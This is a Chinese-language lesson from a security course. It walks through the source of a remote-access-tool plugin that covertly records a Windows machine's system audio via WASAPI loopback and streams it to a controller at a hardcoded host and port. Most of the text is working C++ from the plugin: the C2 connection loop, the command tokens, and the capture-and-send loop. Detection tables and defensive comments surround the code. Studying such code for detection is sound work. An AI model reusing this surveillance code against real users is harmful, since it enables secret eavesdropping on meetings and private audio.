第 37 课:主插件:播放监听
# 第 37 课:主插件:播放监听
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课讲 主插件\播放监听。它采集的不是麦克风,而是 Windows 默认播放端点的回环数据,也就是系统正在播放出来的声音。浏览器网页声音、会议软件声音、播放器声音、系统提示音,都可能进入这个链路。
本课只做源码阅读和防御分析,不提供任何非法监听、控制或规避检测的方法。
# 1. 先把概念讲清楚
播放监听和语音监听的区别,是本课最重要的前置概念。
| 对比项 | 播放监听 | 语音监听 |
|---|---|---|
| 声音来源 | 默认播放端点,也就是系统输出声音 | 麦克风或录音线路 |
| 关键 API | WASAPI IAudioClient + AUDCLNT_STREAMFLAGS_LOOPBACK | waveInOpen、waveInStart |
| 是否等于开麦克风 | 否 | 是或接近麦克风输入 |
| 用户感知 | 不一定触发麦克风提示 | 更容易触发麦克风权限或指示 |
| 风险重点 | 采集会议、网页、播放器、系统播放声音 | 采集环境声、说话声 |
新手可以把 WASAPI loopback 理解成“从扬声器输出链路旁边接一份数据”。它不需要麦克风参与,但仍然可能采集敏感内容,所以企业侧必须按隐私风险处理。

# 2. 涉及源码
| 路径 | 作用 |
|---|---|
主插件\播放监听\播放监听\播放监听.cpp | 插件入口,连接主控后创建 CSpeakerManager |
主插件\播放监听\播放监听\SpeakerManager.h/.cpp | 命令分发,协调采集方向和渲染方向 |
主插件\播放监听\播放监听\AudioCapture.h/.cpp | 从默认播放端点做 WASAPI loopback 采集 |
主插件\播放监听\播放监听\AudioRender.h/.cpp | 把收到的音频数据写入本机播放端点 |
本模块没有额外第三方音频库,主要依赖 Windows 自带的 WASAPI COM 接口。检测时应重点关注 MMDeviceEnumerator、IAudioClient、IAudioCaptureClient、AUDCLNT_STREAMFLAGS_LOOPBACK 和 TOKEN_SPEAK_DATA 的组合。
# 3. 为什么要拆成 Manager、Capture、Render
这节课不要一上来就看 IAudioClient。先看类的分工,后面代码就顺了。
| 类 | 负责什么 | 新手理解 |
|---|---|---|
CSpeakerManager | 收主控命令,决定启动采集还是启动播放 | 调度中心 |
CAudioCapture | 从系统播放端点读取声音,发送给主控 | 上行方向 |
CAudioRenderImpl | 接收主控发来的音频,写入本机播放缓冲 | 下行方向 |
源码里命名容易让人困惑:GetSpeakerDate 是采集对象,SetSpeakerDate 是渲染对象。读代码时不要被名字带偏,要看它们调用的是 AudioCapture 还是 AudioRender。
# 4. 插件入口:连接后创建 CSpeakerManager
入口模式和其他主插件类似:先创建 socket,连接成功后创建 Manager,再进入网络事件循环。
// 源码位置:主插件\播放监听\播放监听\播放监听.cpp:7-44
struct plugInfo
{
char mark[30];
TCHAR szAddress[255];
DWORD szPort;
BOOL IsTcp;
BOOL RunDllEntryProc;
} MyInfo = { "plugmark", _T("iamasbcx.asuscomm.com"), 6000, 1, 0 };
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
// 根据配置选择 TCP 或 UDP。这里不是音频逻辑,只是插件通用连接入口。
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
// 连接成功后才创建 CSpeakerManager。
// 防御分析:外联成功、随后初始化 WASAPI loopback,是本课的核心关联链。
CSpeakerManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 5. 命令枚举:先看 token 含义
// 源码位置:主插件\播放监听\播放监听\SpeakerManager.h:7-13
enum
{
TOKEN_SPEAK_STOP, // 停止播放监听采集方向
TOKEN_SEND_SPEAK_START, // 启动渲染方向:把收到的音频写到本机播放端点
TOKEN_SEND_SPEAK_STOP, // 停止渲染方向
TOKEN_SPEAK_DATA, // 音频数据包,既可能是采集上行,也可能是渲染输入
};
// 防御分析:这里的 token 名字不够直观。
// 读代码时要结合分支里的对象判断方向:
// GetSpeakerDate 代表 CAudioCapture,上行采集;
// SetSpeakerDate 代表 CAudioRenderImpl,下行渲染。
2
3
4
5
6
7
8
9
10
11
12
13
# 6. Manager 如何编排采集和播放
CSpeakerManager 构造时先主动发一个 TOKEN_SPEAK_START。后续主控再通过 token 控制采集、停止或渲染。
// 源码位置:主插件\播放监听\播放监听\SpeakerManager.cpp:9-80
CSpeakerManager::CSpeakerManager(ISocketBase* ClientObject) : CManager(ClientObject)
{
m_buser = FALSE;
m_CSpeakerManager = this;
ClientObjectsec = ClientObject;
// 构造后立即告诉主控:播放监听插件已经就绪。
// 防御分析:这类 1 字节状态 token 可作为协议还原时的会话起点。
BYTE bToken = TOKEN_SPEAK_START;
Send((LPBYTE)&bToken, 1);
m_buser = TRUE;
}
void CSpeakerManager::OnReceive(LPBYTE lpBuffer, UINT ulLength)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0])
{
case TOKEN_SPEAK_DATA:
// 收到远端音频数据时,只有渲染器已经启动,才写入本机播放缓冲。
// 防御分析:这是下行播放方向,不是 loopback 采集方向。
if (SetSpeakerDate.IsRendering())
SetSpeakerDate.PlayBuffer((LPBYTE)lpBuffer, ulLength);
break;
case TOKEN_SPEAK_START:
// 启动采集方向:从默认播放端点做 loopback 读取,并把数据发出。
if (!GetSpeakerDate.IsCapturing())
{
// WASAPI 是 COM 接口,线程使用前需要 CoInitialize。
CoInitialize(NULL);
GetSpeakerDate.Initialize((void*)this);
GetSpeakerDate.Start();
}
break;
case TOKEN_SPEAK_STOP:
// 停止采集方向,释放播放端点和线程资源。
if (GetSpeakerDate.IsCapturing())
{
GetSpeakerDate.Stop();
GetSpeakerDate.Destroy();
CoUninitialize();
}
break;
case TOKEN_SEND_SPEAK_START:
// 启动渲染方向:准备把收到的数据播放出来。
if (!SetSpeakerDate.IsRendering())
{
CoInitialize(NULL);
SetSpeakerDate.Initialize();
SetSpeakerDate.Start();
}
break;
case TOKEN_SEND_SPEAK_STOP:
if (SetSpeakerDate.IsRendering())
{
SetSpeakerDate.Stop();
SetSpeakerDate.Destroy();
}
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
这段代码解释了为什么要拆成两个对象:采集方向和渲染方向用的都是播放端点,但一个读、一个写,生命周期也不同。把它们拆开,Manager 只负责按 token 调度。
# 7. loopback 采集第一步:找到默认播放端点
CAudioCapture::Initialize 不读取数据,只做准备工作:保存 Manager 指针,创建默认播放设备对象,创建停止事件。
// 源码位置:主插件\播放监听\播放监听\AudioCapture.cpp:22-37
BOOL CAudioCapture::Initialize(void* pthis)
{
if (m_bInited)
return TRUE;
// pSpeakerManager 用于后面把采集到的数据发回网络层。
// 防御分析:这里建立了“音频采集对象 -> 网络 Manager”的回调关系。
pSpeakerManager = pthis;
m_pDevice = NULL;
IMMDeviceEnumerator* pMMDeviceEnumerator = NULL;
HRESULT hr = CoCreateInstance(
__uuidof(MMDeviceEnumerator),
NULL,
CLSCTX_ALL,
__uuidof(IMMDeviceEnumerator),
(void**)&pMMDeviceEnumerator);
if (FAILED(hr))
return FALSE;
// eRender 表示播放端点,不是麦克风输入端点。
// eConsole 表示默认控制台播放设备,通常是当前默认扬声器或耳机。
hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &m_pDevice);
pMMDeviceEnumerator->Release();
if (m_pDevice == NULL)
return FALSE;
// 停止事件用于让采集线程退出 WaitForMultipleObjects。
m_hEventStop = CreateEvent(NULL, TRUE, FALSE, NULL);
if (m_hEventStop == NULL)
return FALSE;
m_bInited = TRUE;
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
这里的关键点是 eRender。如果是麦克风输入,通常会看到 eCapture 或 waveIn API;本课看到的是播放端点回环。
# 8. loopback 采集第二步:初始化 IAudioClient

真正进入采集的是 CaptureAudio。它激活 IAudioClient,读取混音格式,把格式调整成 16 bit,然后用 AUDCLNT_STREAMFLAGS_LOOPBACK 初始化。
// 源码位置:主插件\播放监听\播放监听\AudioCapture.cpp:39-70
UINT CaptureAudio(CAudioCapture* pthis)
{
IAudioClient* pAudioClient = NULL;
IAudioCaptureClient* pAudioCaptureClient = NULL;
WAVEFORMATEX* pwfx = NULL;
HANDLE hTimerWakeUp = NULL;
DWORD nTaskIndex = 0;
HANDLE hTask = NULL;
// senddate 是网络发送缓冲,首字节放 TOKEN_SPEAK_DATA。
LPBYTE senddate = new BYTE[MAX_SEND_BUFFER * 4];
do
{
// 1. 从默认播放设备激活 IAudioClient。
// 防御分析:这说明进程开始直接操作 Windows 音频端点。
HRESULT hr = pthis->m_pDevice->Activate(
__uuidof(IAudioClient),
CLSCTX_ALL,
NULL,
(void**)&pAudioClient);
if (FAILED(hr)) break;
REFERENCE_TIME hnsDefaultDevicePeriod(0);
hr = pAudioClient->GetDevicePeriod(&hnsDefaultDevicePeriod, NULL);
if (FAILED(hr)) break;
// 2. 获取系统混音格式。默认可能是 float 或 extensible 格式。
hr = pAudioClient->GetMixFormat(&pwfx);
if (FAILED(hr)) break;
// 3. 源码把格式调整成 16 bit PCM,便于后续按固定字节数发送。
if (!FormatTo16Bits(pwfx)) break;
hTimerWakeUp = CreateWaitableTimer(NULL, FALSE, NULL);
if (hTimerWakeUp == NULL) break;
// 4. 最关键的一行:AUDCLNT_STREAMFLAGS_LOOPBACK。
// 它表示读取播放端点回环数据,而不是从麦克风读取。
// 防御分析:这是播放监听区别于语音监听的核心静态和行为特征。
hr = pAudioClient->Initialize(
AUDCLNT_SHAREMODE_SHARED,
AUDCLNT_STREAMFLAGS_LOOPBACK,
0,
0,
pwfx,
0);
if (FAILED(hr)) break;
// 5. 取得 IAudioCaptureClient,用它从播放端点读取数据包。
hr = pAudioClient->GetService(
__uuidof(IAudioCaptureClient),
(void**)&pAudioCaptureClient);
if (FAILED(hr)) break;
// 6. 把线程登记为多媒体 Capture 线程,降低音频卡顿。
// 防御分析:Capture 线程名和 loopback 初始化出现在同一进程中,是重要线索。
hTask = AvSetMmThreadCharacteristics(_T("Capture"), &nTaskIndex);
if (NULL == hTask) break;
hr = pAudioClient->Start();
if (FAILED(hr)) break;
// 后续进入循环读取音频包。
} while (FALSE);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
为什么要这么设计?因为系统播放声音不是“文件”,也不是普通 socket 数据;它存在于 Windows 音频引擎的共享混音流里。WASAPI loopback 是读取这条混音流的标准方式,所以代码必须先拿端点、再激活 IAudioClient、再用 loopback 初始化、最后用 IAudioCaptureClient 取包。
# 9. loopback 采集第三步:定时取包并发送
采集线程不是一次性读取全部声音,而是按音频设备周期定时醒来。每次醒来后,看是否有新包,有就取出并封成 TOKEN_SPEAK_DATA。
// 源码位置:主插件\播放监听\播放监听\AudioCapture.cpp:71-111
UINT32 nNextPacketSize = 0;
BYTE* pData = NULL;
UINT32 nNumFramesToRead = 0;
DWORD dwFlags = 0;
int sendzise = 0;
// 设备周期的一半作为定时器间隔,减少延迟。
// 防御分析:这会形成稳定、持续的小块上行流量。
LARGE_INTEGER liFirstFire;
liFirstFire.QuadPart = -hnsDefaultDevicePeriod / 2;
LONG lTimeBetweenFires = (LONG)hnsDefaultDevicePeriod / 2 / (10 * 1000);
SetWaitableTimer(hTimerWakeUp, &liFirstFire, lTimeBetweenFires, NULL, NULL, FALSE);
HANDLE waitArray[2] = { pthis->m_hEventStop, hTimerWakeUp };
while (TRUE)
{
DWORD dwWaitResult = WaitForMultipleObjects(2, waitArray, FALSE, INFINITE);
if (!pthis->m_hThreadCapture)
break;
// 先问 WASAPI 是否有下一包。
HRESULT hr = pAudioCaptureClient->GetNextPacketSize(&nNextPacketSize);
if (FAILED(hr))
break;
if (nNextPacketSize == 0)
continue;
// 读取播放端点回环数据。
// pData 指向系统音频引擎提供的缓冲,ReleaseBuffer 之前不要长期保存这个指针。
hr = pAudioCaptureClient->GetBuffer(
&pData,
&nNumFramesToRead,
&dwFlags,
NULL,
NULL);
if (FAILED(hr))
break;
if (0 != nNumFramesToRead)
{
// 发送长度 = 帧数 * 每帧字节数 + 1 字节 token。
sendzise = nNumFramesToRead * pwfx->nBlockAlign + 1;
// 首字节是本工程协议 token,后面是 PCM 音频数据。
// 防御分析:网络侧看到稳定小包时,应结合主机侧 loopback 事件一起判断。
senddate[0] = TOKEN_SPEAK_DATA;
memcpy(senddate + 1, pData, sendzise - 1);
pAudioCaptureClient->ReleaseBuffer(nNumFramesToRead);
((CSpeakerManager*)(pthis->pSpeakerManager))->Send(
(LPBYTE)senddate,
sendzise);
}
else
{
pAudioCaptureClient->ReleaseBuffer(nNumFramesToRead);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
这一段就是播放监听的数据出口。企业检测不要只看网络,也不要只看音频 API,而要做时间关联:某进程初始化 loopback 后,是否马上出现持续小包上行。
# 10. 启停线程为什么这样写
// 源码位置:主插件\播放监听\播放监听\AudioCapture.cpp:113-140
UINT __stdcall CaptureTheadPro(LPVOID param)
{
CAudioCapture* pthis = (CAudioCapture*)param;
// 采集线程内部再次 CoInitialize,保证 WASAPI COM 调用在线程内可用。
CoInitialize(NULL);
UINT nRet = CaptureAudio(pthis);
CoUninitialize();
return nRet;
}
BOOL CAudioCapture::Start()
{
if (!m_bInited)
return FALSE;
// 单独开线程是为了避免音频采集阻塞网络事件循环。
// 防御分析:多媒体采集线程和外联线程共存,是行为画像的一部分。
m_hThreadCapture = (HANDLE)_beginthreadex(NULL, 0, &CaptureTheadPro, this, 0, NULL);
return TRUE;
}
void CAudioCapture::Stop()
{
if (!m_bInited)
return;
if (m_hThreadCapture != NULL && m_hEventStop != NULL)
{
// 通过事件让采集循环退出。
SetEvent(m_hEventStop);
// 原源码直接 CloseHandle,没有 WaitForSingleObject 等待线程退出。
// 防御分析:这是稳定性风险,可能造成资源释放和线程退出不同步。
CloseHandle(m_hThreadCapture);
m_hThreadCapture = NULL;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
从工程设计角度看,采集放在线程里是合理的;但更稳妥的实现应等待线程退出后再释放端点和缓冲,避免资源生命周期不清晰。
# 11. 渲染方向:收到音频后写入本机播放缓冲

本课主线是播放监听,但源码还实现了一个反方向能力:接收主控发来的音频数据,然后通过 IAudioRenderClient 播放出来。它和 loopback 采集不是同一回事。
// 源码位置:主插件\播放监听\播放监听\AudioRender.cpp:23-37
BOOL CAudioRenderImpl::Initialize()
{
if (m_bInited)
return TRUE;
IMMDeviceEnumerator* pMMDeviceEnumerator = NULL;
HRESULT hr = CoCreateInstance(
__uuidof(MMDeviceEnumerator),
NULL,
CLSCTX_ALL,
__uuidof(IMMDeviceEnumerator),
(void**)&pMMDeviceEnumerator);
if (FAILED(hr))
return NULL;
// 渲染方向同样拿默认播放端点,但它是写数据,不是 loopback 读数据。
hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &m_pDevice);
pMMDeviceEnumerator->Release();
if (m_pDevice == NULL)
return FALSE;
m_hEventStop = CreateEvent(NULL, TRUE, FALSE, NULL);
if (m_hEventStop == NULL)
return FALSE;
m_bInited = TRUE;
return m_bInited;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 源码位置:主插件\播放监听\播放监听\AudioRender.cpp:40-97,184-190
UINT RenderAudio(CAudioRenderImpl* pthis)
{
IAudioClient* pAudioClient = NULL;
IAudioRenderClient* pAudioRenderClient = NULL;
// 初始化为 EVENTCALLBACK 模式,音频引擎需要数据时触发事件。
// 这和采集方向的 LOOPBACK 标志不同。
pAudioClient->Initialize(
AUDCLNT_SHAREMODE_SHARED,
AUDCLNT_STREAMFLAGS_EVENTCALLBACK,
0,
0,
pwfx,
0);
pAudioClient->GetService(__uuidof(IAudioRenderClient), (void**)&pAudioRenderClient);
AvSetMmThreadCharacteristics(_T("Playback"), &nTaskIndex);
while (TRUE)
{
// 等待播放引擎请求更多数据。
WaitForMultipleObjects(sizeof(waitArray) / sizeof(waitArray[0]), waitArray, FALSE, INFINITE);
// 根据当前 padding 判断还需要写多少帧。
pAudioClient->GetCurrentPadding(&nFramesOfPadding);
nNeedDataLen = nFrameBufferSize - nFramesOfPadding;
pAudioRenderClient->GetBuffer(nNeedDataLen, &pData);
EnterCriticalSection(&pthis->cs);
bufferlen = pthis->m_WriteBuffer.GetBufferLen();
audiolen = nNeedDataLen * pwfx->nBlockAlign;
// 从 m_WriteBuffer 读取网络侧写入的数据,再交给播放端点。
if (bufferlen > audiolen && (!IsBadWritePtr(pData, audiolen)))
pthis->m_WriteBuffer.Read(pData, audiolen);
if (bufferlen > 5000)
pthis->m_WriteBuffer.ClearBuffer();
LeaveCriticalSection(&pthis->cs);
pAudioRenderClient->ReleaseBuffer(nNeedDataLen, 0);
}
}
BOOL CAudioRenderImpl::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
{
EnterCriticalSection(&cs);
// 跳过首字节 token,只写入音频 payload。
// 防御分析:这说明 TOKEN_SPEAK_DATA 既是协议标识,也是音频包边界。
m_WriteBuffer.Write(szBuffer + 1, dwBufferSize - 1);
LeaveCriticalSection(&cs);
return true;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
排查时要区分两种情况:看到 IAudioRenderClient 只能说明进程向播放端点写数据;看到 AUDCLNT_STREAMFLAGS_LOOPBACK + IAudioCaptureClient + TOKEN_SPEAK_DATA 上行,才是本课的播放监听主链路。
# 12. 数据流总结
主控命令
-> CSpeakerManager::OnReceive
-> TOKEN_SPEAK_START
-> CAudioCapture::Initialize
-> GetDefaultAudioEndpoint(eRender, eConsole)
-> IAudioClient::Initialize(... LOOPBACK ...)
-> IAudioCaptureClient::GetBuffer
-> TOKEN_SPEAK_DATA + PCM
-> CSpeakerManager::Send
2
3
4
5
6
7
8
9
主控音频包
-> CSpeakerManager::OnReceive
-> TOKEN_SPEAK_DATA
-> CAudioRenderImpl::PlayBuffer
-> m_WriteBuffer
-> IAudioRenderClient::GetBuffer
-> 本机播放端点
2
3
4
5
6
7
# 13. 风险面拆解

| 风险面 | 表现 | 防御关注点 |
|---|---|---|
| 隐私内容 | 会议、网页、播放器、系统声音 | 是否有用户授权和业务理由 |
| 采集方式 | WASAPI loopback | 是否为白名单软件 |
| 网络形态 | 音频小包持续上行 | 目的地、频率、进程身份 |
| 用户感知 | 不一定触发麦克风提示 | 需要额外的终端行为检测 |
| 合规影响 | 可能录到第三方声音或客户信息 | 访问记录、授权和保存期限 |
# 14. 企业检测点

| 检测层 | 建议检测点 |
|---|---|
| 主机侧 | MMDeviceEnumerator、GetDefaultAudioEndpoint(eRender, eConsole) |
| API 侧 | IAudioClient::Initialize 使用 AUDCLNT_STREAMFLAGS_LOOPBACK |
| 线程侧 | AvSetMmThreadCharacteristics("Capture")、采集线程持续运行 |
| 内存侧 | PCM 小块缓冲、TOKEN_SPEAK_DATA 发送缓冲 |
| 网络侧 | loopback 初始化后出现持续小包上行 |
| 进程侧 | 非会议、非录屏、非音频软件访问播放端点 |
| 合规侧 | 是否有明确授权、提示、工单和日志 |
# 15. 误报来源
| 误报来源 | 排查方式 |
|---|---|
| 录屏软件 | 是否由用户启动,是否有录屏窗口和保存路径 |
| 会议软件 | 是否处于会议时间,是否签名可信 |
| 音频增强软件 | 是否常驻且来自可信厂商 |
| 浏览器 | 是否存在网页录音或屏幕共享权限 |
| 合规远程协助工具 | 是否在工单授权时间内,是否有用户可见提示 |
# 16. 合法练习题
- 只读源码,画出
TOKEN_SPEAK_START -> CAudioCapture -> IAudioCaptureClient -> Send的链路。 - 解释
eRender和eCapture的区别,并说明本课为什么关注eRender。 - 根据
AudioCapture.cpp,列出 loopback 采集必须连续出现的三个 API 特征。 - 设计一条检测逻辑:非白名单进程初始化 loopback 后,在 30 秒内持续向外发送小包。
- 对比下一课语音监听,说明
AUDCLNT_STREAMFLAGS_LOOPBACK和waveInOpen分别代表什么声音来源。
# 17. 本课小结
播放监听模块的主线是 WASAPI loopback:CSpeakerManager 接收命令,CAudioCapture 找到默认播放端点,用 AUDCLNT_STREAMFLAGS_LOOPBACK 读取系统正在播放的声音,再封成 TOKEN_SPEAK_DATA 发送。源码还包含一个渲染方向,用 CAudioRenderImpl 把收到的音频写入本机播放端点。
防御时要抓组合信号:非授权进程、播放端点回环初始化、IAudioCaptureClient::GetBuffer、持续小包上行和异常外联目的地。单独看到 WASAPI 或音频播放行为不够,多个信号在同一时间窗出现才值得优先复核。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言